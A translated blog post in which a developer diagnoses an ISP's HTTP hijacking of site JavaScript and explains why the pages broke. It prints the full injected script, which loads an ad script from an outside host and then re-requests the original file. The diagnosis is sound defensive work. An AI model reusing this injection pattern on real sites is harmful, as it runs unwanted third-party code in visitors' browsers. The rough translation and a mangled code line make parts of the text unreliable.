Editor’s note: Fundebug’s clients have been able to locate a very difficult problem – ISP hijacking of HTTP requests – by analyzing the alerts we provide. His analysis is very interesting and reminds us that HTTPS should be supported in a timely manner to ensure site security.

  • Isps hijack HTTP requests
  • Author: Mr_Qi

The copyright of this article belongs to Mr_Qi.

Recently, business systems often receive front-end error emails

Found a large number of IP for Shenyang Unicom customers ==> preliminary inference for the carrier HTTP hijacking

After on-site investigation, some JS loading errors were found in the error screen

The difference is that the wrong JS inserts an advertising JS first

To distinguish DNS hijacking, see the NetWork panel

IP is correct and confirm for our server IP that this is not a DNS attack.

As a result of a large area of Shenyang Unicom problem, (so consider should be the operator problem? There is no possibility of widespread router hacking.

Return js as follows

(function () {
    try {
        var o = 'm-_-m',
            D = document;
        if(! D.getElementById(o)) {var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
                J = j + (~j.indexOf('? ')?'&' : '? ') + new Date().getTime(),
                M = 'http://pc.quansj.cn/?cid=08',
                C = D.currentScript,
                H = D.getElementsByTagName('head') [0],
                N = function (s, i) {
                    var I = D.createElement('script');
                    I.type = 'text/JavaScript';
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if(! C) { C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            returnS[i]; }}}) (); } C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '" > <' + '/script>')); }}catch (e) {}
})();
Copy the code

Reverse lookup by domain name Whois

Discovering the subdomain name

There are several AD hijacking sites

Looks like and a talk show (Zhao Benshan apprentice) the same name ……………… “You must be one and the rest.

And Shenyang unicom communication after fruitless, refused to admit the existence of hijacking. We are seeking help from the Ministry of Industry and Information Technology to see if we can find a solution.

There is already an Adblock for that address on Github… Obvious Liaoning Unicom

Taking a look at the JS options, it normally executes

C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'" > <'+'/script>'));
Copy the code

The code has made a judgment. If it supports defer or async, append will load JS asynchronously directly. If it does not, document will be written directly (synchronous execution).

This means that in theory the js on our server will be loaded synchronously, but in fact a large number of JS are not loaded

After checking it out, Chrome has a setting (reportedly Chrome 55(?)). + post-version optimization) can try it

chrome://flags/#disallow-doc-written-script-loads

The details are as follows

With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the

  1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
  2. The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don’t block the rendering of the main page.
  3. The script in the document.write() is parser-blocking. Scripts with the ‘async‘ or ‘defer‘ attributes will still execute.
  4. The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).
  5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
  6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.

Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.

It looks like we don’t meet the criteria

Code format after freak out…… The premise of loading JS is that there is no node with ID m -_m in the screen. Otherwise, js will not be loaded, that is, document.write will not be executed

If we have two or more JJS hijacked in our screen, all but the first js will not be loaded.

So look at the JS request (with queryString) and see

Sure enough, commonJS was hijacked when the customer requested it. Now the m- _m node appears in the screen. Other hijacked JS will not load the real JS ………………

Again, about the hijacking of our home page.

Apparently also jiangsu broadband (Nanjing Telecom) hijacked…

About Fundebug

Fundebug focuses on JavaScript, wechat applets, wechat mini games, Alipay applets, React Native, Node.js and Java real-time BUG monitoring. Since its launch on November 11, 2016, Fundebug has handled more than 600 million error events in total, which has been recognized by many well-known users such as Google, 360 and Kingsoft software. Welcome free trial!

Copyright statement

Reprint please indicate the author Fundebug and this article addresses: blog.fundebug.com/2017/05/10/…